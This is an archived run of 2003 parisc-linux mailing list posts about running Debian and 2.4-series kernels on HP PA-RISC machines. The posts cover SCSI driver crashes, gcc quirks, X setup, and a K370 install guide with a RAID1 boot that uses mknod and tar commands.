>seem to have aswell. I just have a 20GB SE SCSI (50 pin), no other SCSI
>devices (the original internal UW-SCSI drive is in my AlphaStation now).
>  
>
>I tried several configurations ... actually all configurations possible.
>It is definitely NOT a SCSI termination issue, nor a faulty HD (it works
>perfectly on my SUN and my Alpha). Moreover it works quite well with
>older kernels, such as 2.4.19-pa2.
>
>Newer kernels (starting with about 2.4.20) often report "target is
>suffering from tag starvation" and after that the kernel will most likely
>oops and hang. Most the time I even can't boot the kernel, since
>mounting the root fs alone will most likely cause a kernel crash.
>Older kernels either don't display the message at all, or
>not very often (such as once a day if the disk is in HEAVY use), and the
>kernel will never crash after displaying the message.
>
>So I copied the /usr/src/linux-2.4.19-pa2/drivers/scsi/53c700.c driver
>to the corresponding directory in the 2.4.20-pa35 kernel and now the
>kernel is perfectly stable again!
>
Which scsi driver do you used (I presume a Symbios one but version 1 or 
2; version 2 is recommended now in 2.4.20-pa..)?

OTC this w-e I still experiment such a scsi terminator pb: I recover a 
lvd 30gb scsi-disk (sun); I find a converter sca2 80pins sca 64pins but 
a cable with terminator for hvd disk. The disk seems to works fine 
untill the terminator warm to much then I got scsi parity errors. And 
without terminator the controler do not see the disk at all?

>I don't know what causes this trouble, but I really don't think it's my
>SCSI hardware (I use SCSI devices for quite a long time. I should know by
>know which cables to use and how to do proper SCSI termination etc.
>Moreover I exchanged everything just to be sure it's not faulty
>cables/terminators).
>Maybe it's just the software driver, maybe it's a bug in the HP SCSI chip
>when using SE disks ... I just know the older driver is much more stable!
>  
>

>
>And finally some issues I have found when using certain versions of gcc
>to compile linux-2.4.20-pa35:
>
>(for all different compilers I used the same configuration, except for
>choosing 32/64bit kernels. I use the PA8000 CPU option by default)
>
>
>
>hppa64-gcc (3.2.3, from ftp.p-l.org unofficial-debs)
>  seems to work fine but obviously ipt_limit.o is miscompiled:
>  I can insmod it, but iptable wouldn't recognize the --limit* options.
>  There are still some problems with some modules and canonicalize_funcptr,
>
Are you sure this is with hppa64-gcc (iirc canonicalize.., was just 
recently backport to 3.2)?

[...]

>  Man, gcc-3.3 is SLOW! it takes ages to compile the kernel!
>
>  Kernel compiled with 3.3 definitely have a bogomips problem (they report
>  0.8 instead of about 470 on a C240);
>  The kernel takes forever to boot up (it 'waits' for over one minute
>  after palo loads the kernel (right after the 'switch to another console'
>  message)), propably because of the bogomips calculation.
>  Also the userspace programme 'bogomips' has the same issue.
>
>  Apart to make from this issues, gcc-3.3 produces a kernel that is at
>  least as stable as those compiled with 3.0 or 3.2
>
>
>BTW, I've quite alot of networking stuff in the kernel:
>IPv6, Bridging, VLan, PPP, PPPoE, Netfilter, Network devices etc.
>Apart from that it is a pretty 'normal' configuration (I'll send the
>.config and System.map if somebody wants it).
>
>
>Right now I'm running linux-2.4.20-pa35 for over a week now, and the
>machine is really stable. It's actively used as DHCP-server,
>SMB-server, router/firewall and for several other stuff in our LAN.
>
>  
>
hmm I just reboot (just to exchange cards) some l-w firewall (so only 
ppp, ppoe, netfilter, just ipv4, no ipv6 , no bridging, no vlan)  
running since 79days a kernel 2.4.20-pa22 build with gcc-3.3 on a b180 
and do not presenting this kind of pb. Unfortuantely, I don't have all 
your hw available but can you send me your config file so that I can see 
if I can reproduce.

btw which gcc-3.3 release do you use?
hth,
    Joel




From - Thu Nov 08 21:27:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] missing tasksel option 'x-window system' on parisc
 box
Date: Sat, 31 May 2003 14:31:30 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3ED8A0A2.8000808@bluehash.de>
References: <000c01c3267b$11f81610$1200a8c0@JOERGSPRINTER> <BAY1-DAV22xS43Tv8hm00006867@hotmail.com> <001d01c32690$60547640$1200a8c0@JOERGSPRINTER>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622486 26323 80.91.229.3 (22 Nov 2014 02:14:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:46 +0000 (UTC)
To: =?ISO-8859-1?Q?J=F6rg_Benndorf?= <joerg.benndorf@t-online.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 31 06:37:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.medianet-world.de (mail1.medianet-world.de [213.157.0.162])
	by dsl2.external.hp.com (Postfix) with SMTP id 27C8A4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 31 May 2003 06:37:30 -0600 (MDT)
Original-Received: (qmail 10695 invoked from network); 31 May 2003 12:30:47 -0000
Original-Received: from unknown (HELO bluehash.de) (213.157.24.119)
  by mail.medianet-world.de with SMTP; 31 May 2003 12:30:47 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3) Gecko/20030312
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <001d01c32690$60547640$1200a8c0@JOERGSPRINTER>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18577

Hello Jrg,

Jrg Benndorf schrieb:

>Thank you for your hint but this doesn't seem to work - always prompts
>"unmet dependencies" / "is not going to be installed" / "is not
>installable".
>
The problem is that the package "fvwm" is in "x-window-system". But 
"fvwm" depend on the package "menu" which (i think) is not avaible for 
debian/stable. Either you are struggling with "apt" to force the 
installation with unmet dependencies or you use debian/testing. There is 
a "menu"-package.
I hope it helps,
    Rdiger



From - Thu Nov 08 21:27:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Trouble trying to start gdm
Date: Sat, 31 May 2003 14:40:20 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <3ED8A2B4.4030904@bluehash.de>
References: <NEBBJAILOLAHGDBEOCIOCEECDHAA.ja@lachivaquemada.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622486 26324 80.91.229.3 (22 Nov 2014 02:14:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:46 +0000 (UTC)
To: Jaime Ash <ja@lachivaquemada.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 31 06:39:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.medianet-world.de (mail1.medianet-world.de [213.157.0.162])
	by dsl2.external.hp.com (Postfix) with SMTP id D553D4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 31 May 2003 06:39:37 -0600 (MDT)
Original-Received: (qmail 12154 invoked from network); 31 May 2003 12:39:37 -0000
Original-Received: from unknown (HELO bluehash.de) (213.157.24.119)
  by mail.medianet-world.de with SMTP; 31 May 2003 12:39:37 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3) Gecko/20030312
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <NEBBJAILOLAHGDBEOCIOCEECDHAA.ja@lachivaquemada.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18578

Hello,

which graphicscard of your 715/100 are you using? The built-in one has a 
color depth of  only  8bit. So you has to change the 
"defaultdepth"-entry in your XF86Config-4 accordingly.

Ruediger




From - Thu Nov 08 21:27:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Siraj 'Sid' Rakhada" <sid@mindless.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installation on a K370 with Debian 3.0r1 + RAID1 boot.
Date: Sat, 31 May 2003 14:54:36 +0100 (BST)
Lines: 147
Approved: news@gmane.org
Message-ID: <56739.194.131.108.2.1054389276.squirrel@ssl.mindless.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622486 26325 80.91.229.3 (22 Nov 2014 02:14:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:46 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 31 07:54:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bloody (bloody.mindless.co.uk [195.224.53.249])
	by dsl2.external.hp.com (Postfix) with ESMTP id 706E74829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 31 May 2003 07:54:39 -0600 (MDT)
Original-Received: by bloody (Postfix, from userid 106)
	id 2B6366A0FC; Sat, 31 May 2003 14:54:38 +0100 (BST)
Original-Received: from mindless.co.uk (bloody [127.0.0.1])
	by bloody (Postfix) with SMTP id 1379B6A0F8
	for <parisc-linux@lists.parisc-linux.org>; Sat, 31 May 2003 14:54:36 +0100 (BST)
Original-Received: from 194.131.108.2
        (SquirrelMail authenticated user sr)
        by ssl.mindless.co.uk with HTTP;
        Sat, 31 May 2003 14:54:36 +0100 (BST)
X-Priority: 3
Importance: Normal
X-Mailer: SquirrelMail (version 1.2.8)
X-Spam-Status: No, hits=0.8 required=5.0
	tests=SPAM_PHRASE_02_03
	version=2.43
X-Spam-Level: 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18579

A few notes on a successful installation on a HP K370 box, using Debian
3.0r1 and a netinstall CD (for PDC console support). Also the boot disk is
on a RAID1.

Written in the hopes it might help someone, possibly...

This was all done via a console.

Boot with the 2.4.20-pa32 netinstall CD. When it prompts you to interact
with IPL choose yes.
At the following prompt, which sould be PALO, change console=ttyS0 to
console=ttyB0

You should then have the kernel bootup and after a few moments the debian
installer menu should appear

Proceed with the install by following the prompts, taking care to read the
instructions about the partition types.

When you get to the stage where the system wants to reboot do *not* reboot
(yet).

Instead go to a shell

find the /dev directory in /mnt/target somewhere (I have forgotten the
exact location, you can find it with just a 'mount' command and read the
output)

delete the *target* /dev/ttyB0 if it does not look like this:

# ls -l ttyB0
crw-------    1	root	root	11,   0	May 27 07:48 ttyB0

then do

# mknod ttyB0 c 11 0
# CTRL-D (to logout)

You should now be able to reboot safely.

If you skip this step, Debian will boot, but you will be unable to use the
console.
Note I have not actually done the above when I was installing - I cheated
and installed sshd via a chroot setup - because I did not realise the
ttyB0 major number was incorrect on the install CD. I'm expecting that
modifying the device as above should work. If I had more time I would have
tried the above method.

I believe the major number has changed from 30 to 60, and now to 11, which
is it's final resting place (can someone confirm that)?

Once the machine reboots you should be greeted with the Debian second
stage installer - carry on with whatever options you want to pick and you
should then be dropped at a root prompt.

Debian should now be installed on your box (I hope) and that's it. Read
below if you want to have a RAID1 boot drive...

As I had 4 x 9GB disks (all identical) I decided to follow Martin
Petersen's RAID1 boot howto
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-January/018892.html

General packages required: mdadm, palo (>=1.2), and associated debian
build packages.

Most of the steps make perfect sense, though I had a few issues as I
wanted to stick to debian/stable as much as I could - therefore I could
not install the palo 1.2 binary package - which is required if you wish to
boot from a RAID partition.

So what you should do is get hold of the palo 1.2 debian source, and then
you should be able to build the package yourself:

# dpkg-source palo_1.2.dsc
# cd palo-1.2
# dpkg-buildpackage -r fakeroot -b
# dpkg -i ../palo_1.2_hppa.deb

If you are able to upgrade to testing, then this is not a big deal - you
should be able to simply upgrade your palo binary (along with libc etc),
and skip the above steps. Though make sure you have version 1.2 of Palo by
running '/sbin/palo | grep version' - do this as a normal user if you are
worried of breaking things.

I also had an issue as I had multiple partitions for /, /home, /var,
/boot, and /usr so I had to use multiple 'tar' commands (I'm not an expert
on tar, so I'm sure there are better ways than how I did it). I am also
uncertain how Martin's command worked for /boot in his setup too...

Anyway, it was as simple as this: (read in addition to step 5 on the Howto)

Mount new partitions in place. I mounted the RAID / onto /mnt, and then
mounted the RAID /usr onto /mnt/usr etc.

These steps should be done in single user mode - 'init 1' should get you
there (do this via console).

mount /dev/md2 /mnt
mount /dev/md0 /mnt/boot
mount /dev/md3 /mnt/usr
mount /dev/md4 /mnt/home
mount /dev/md5 /mnt/var

cd /mnt
tar -C / -clspf - . | tar -xlspvf -
cd /mnt/usr
tar -C /usr -clspf - . | tar -xlspvf -
cd /mnt/boot
tar -C /boot -clspf - . | tar -xlspvf -
cd /mnt/home
tar -C /home -clspf - . | tar -xlspvf -
cd /mnt/var
tar -C /var -clspf - . | tar -xlspvf -

You should be able to carry right on at step 6 now.

Suggested reading...

Boot Howto: http://tldp.org/HOWTO/PA-RISC-Linux-Boot-HOWTO/index.html
FAQ: http://www.parisc-linux.org/faq/index.html
Also uses the RAID1 Boot Howto:
http://www.parisc-linux.org/faq/raidboot-howto.html

I hope this helps someone! The documentation out there was very useful -
though the ttyB0 change of the major number really got me for a while (I
only found out that this had changed through searching the mailing
list)...

This is also the first time I've ever really used a HP box, and they are
... interesting :) e.g. is it normal that the machine will take about 10+
minutes to boot up? (just to get to the boot ROM, nothing to do with linux
- self tests are enabled, though disabilng them does not make too much of
a difference).

Also, anyone aware if SMP will work on this box? I have two CPU's, but I'm
only using one, as I believe the netinstall CD only comes with a SMP
disabled kernel, and I have not got the 2.4.20 kernel source available at
the moment (The HP box is not connected to the Internet).

Anyway, great project. I'm glad it all works now :)

Best regards,

Sid




From - Thu Nov 08 21:27:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation on a K370 with Debian 3.0r1 + RAID1
 boot.
Date: Sat, 31 May 2003 18:10:57 +0000
Lines: 79
Approved: news@gmane.org
Message-ID: <3ED8F031.5080903@tiscali.be>
References: <56739.194.131.108.2.1054389276.squirrel@ssl.mindless.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622487 26330 80.91.229.3 (22 Nov 2014 02:14:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Siraj 'Sid' Rakhada <sid@mindless.co.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 31 11:56:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B5D84829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 31 May 2003 11:56:58 -0600 (MDT)
Original-Received: from [62.235.174.221] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19MAb9-0002lU-00; Sat, 31 May 2003 19:56:56 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030527 Debian/1.3.1-2
X-Accept-Language: en
In-Reply-To: <56739.194.131.108.2.1054389276.squirrel@ssl.mindless.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18580

Hello Sid,

First of all congratulation for your great job [I am not quiet sure to 
reach this result at my first atempt) and many thanks for your kind 
reports: very clear and fine appropriate details.

Siraj 'Sid' Rakhada wrote:

[...]

>cd /mnt
>tar -C / -clspf - . | tar -xlspvf -
>cd /mnt/usr
>tar -C /usr -clspf - . | tar -xlspvf -
>cd /mnt/boot
>tar -C /boot -clspf - . | tar -xlspvf -
>cd /mnt/home
>tar -C /home -clspf - . | tar -xlspvf -
>cd /mnt/var
>tar -C /var -clspf - . | tar -xlspvf -
>  
>
I also split my fs copy at this stage but normaly if you mount all your 
fs under "/mnt" then:
cd /mnt
tar -C / -cspf - . | tar -xspvf  # just remove 'l' (el) option and 
remove v option shlould be quicker

should work also in one step (as you have 4*9Gb disks, may be do you 
still have 2 free to test and confirm this; many thanks in advance)

>I hope this helps someone! The documentation out there was very useful -
>though the ttyB0 change of the major number really got me for a while (I
>only found out that this had changed through searching the mailing
>list)...
>
>This is also the first time I've ever really used a HP box, and they are
>... interesting :) e.g. is it normal that the machine will take about 10+
>minutes to boot up? (just to get to the boot ROM, nothing to do with linux
>- self tests are enabled, though disabilng them does not make too much of
>a difference).
>
hmm, I am not quiet sure but may be this pb is solved in 2.4.20-pa35...

>Also, anyone aware if SMP will work on this box? I have two CPU's, but I'm
>only using one, as I believe the netinstall CD only ces with a SMP
>disabled kernel, and I have not got the 2.4.20 kernel source available at
>the moment (The HP box is not connected to the Internet).
>
SMP kernel should work on your K. Afaik, as there few K's running linux, 
the best would be to experiment by your self (the tips is that your 
original kernel config file stand in /boot; so you copy it into your 
linux src tree as .config and use make menuconfig to change SMP config 
:-) ).

To grab the kernel src now? How do you grab the last net boot install?

My HP boches ( :-) ) are not more connected to Internet (well just a 
light weight firewall with a pstn connection at 33000 bauds and trust me 
it is not enough to download a full kernel src in a quick way: just 
enough for some cvs update (personnaly I am awaiting a subversion server 
...) ). So I grab src (tar.gz available on ftp.parisc-linux.org/cvs or 
just patch .gz or via cvs server) on my pc and just transfer this to my 
HP box via ftp or scp (you just have be sure to have a well configured 
NIC and a ftpd or sshd server installed either on your pc (if also a 
linux) or on your hp box)

Hope this help,
    Joel

>
>Anyway, great project. I'm glad it all works now :)
>
>  
>
Well come to the club :-)




From - Thu Nov 08 21:27:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stian =?iso-8859-1?Q?S=F8iland?= <stian@soiland.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation on a K370 with Debian 3.0r1 + RAID1 boot.
Date: Sat, 31 May 2003 23:40:29 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <20030531214029.GD9267@itea.ntnu.no>
References: <56739.194.131.108.2.1054389276.squirrel@ssl.mindless.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622487 26331 80.91.229.3 (22 Nov 2014 02:14:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Siraj 'Sid' Rakhada" <sid@mindless.co.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 31 15:40:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from brev.stud.ntnu.no (brev.stud.ntnu.no [129.241.56.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id E24A94829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 31 May 2003 15:40:31 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by brev.stud.ntnu.no (Postfix) with ESMTP
	id 4AE2F13F666; Sat, 31 May 2003 23:40:30 +0200 (CEST)
Original-Received: from ozelot.stud.ntnu.no (ozelot.stud.ntnu.no [129.241.56.185])
	by brev.stud.ntnu.no (Postfix) with ESMTP
	id 7B74113F542; Sat, 31 May 2003 23:40:29 +0200 (CEST)
Original-Received: (from stain@localhost)
	by ozelot.stud.ntnu.no (8.11.6p2/8.10.0.Beta12) id h4VLeTl26188;
	Sat, 31 May 2003 23:40:29 +0200
Mail-Followup-To: Siraj 'Sid' Rakhada <sid@mindless.co.uk>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <56739.194.131.108.2.1054389276.squirrel@ssl.mindless.co.uk>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS perl-11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18581

On 2003-05-31 15:54:36, Siraj 'Sid' Rakhada wrote:

> If you skip this step, Debian will boot, but you will be unable to use the
> console.
> Note I have not actually done the above when I was installing - I cheated
> and installed sshd via a chroot setup - because I did not realise the
> ttyB0 major number was incorrect on the install CD. I'm expecting that
> modifying the device as above should work. If I had more time I would have
> tried the above method.

For later boots, devfs and devfsd should be able to handle this if your
kernel supports it.

> This is also the first time I've ever really used a HP box, and they are
> ... interesting :) e.g. is it normal that the machine will take about 10+
> minutes to boot up? (just to get to the boot ROM, nothing to do with linux
> - self tests are enabled, though disabilng them does not make too much of
> a difference).

Oh yeah, my K250 takes ages just to get started, the LCD display and
status line on the serial console changes with different numbers. Any
idea of what all those numbers mean? I suppose they are different parts
that are tested, but a translation would be nice.=20

My manuals does not explain these messages in detail..

How ever, nice guide, I wish I had it when I set up my system =3D)


=2E.. goes off-topic:

I have 6 SCSI disks connected, distributed in two raid1-sets for / and
/usr, and a raid5-set for /home. Some of the disks are 4 GB, the rest 2
GB, so I've done dirty tricks with partitions to get the whole thing up,
and not waisting any space, and I now even have a spare disk, although
tests reveal the disk is broken.. I've managed to get two more 2
GB-disk to replace it.. =3D)

Ah, yes, the K250 is BIG, but there's only room for 4 disks! Stupid!
I've placed one disk beside the CD-rom, connected to the other
controller, and the last disk in an external cabinet =3D)

I've wondered if it would not be possible to modify the housing to get
room for more disks... Would it be immoral of me to destroy the beauty
of a K250 by cutting some holes here and there? =3D)


--=20
Stian S=F8iland               Work toward win-win situation. Win-lose
Trondheim, Norway           is where you win and the other lose.
http://www.soiland.no/      Lose-lose and lose-win are left as an
                            exercise to the reader.  [Limoncelli/Hogan]
K250 at http://beist.ntnu.nu/  =3D)                           =20


From - Thu Nov 08 21:27:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Post CVS-move breakages
Date: Sun, 1 Jun 2003 01:07:38 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20030531230738.GW6935@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="+8CbEAItL+VIz8WN"
X-Trace: ger.gmane.org 1416622487 26333 80.91.229.3 (22 Nov 2014 02:14:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 31 17:07:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B6694829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 31 May 2003 17:07:40 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 3A5F14ABAB; Sun,  1 Jun 2003 01:07:39 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18582

--+8CbEAItL+VIz8WN
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

Now, whilest CVS was moved to another box, I'm still getting rsync
errors.

CVS (and/or its current checked-out repositories) have been moved to
cvs.p-l.org .  On that box, there's no rsync server installed. OTOH, the
old box (rsync.p-l.org) doesn't any longer have the checked-out archives
nor the repositories available (but instead, there's a README that the
contents can be found on cvs.p-l.org).

Thus, I'm again asking to make the CVS repositories available for rsync
download.

Thanks, JBG

--=20
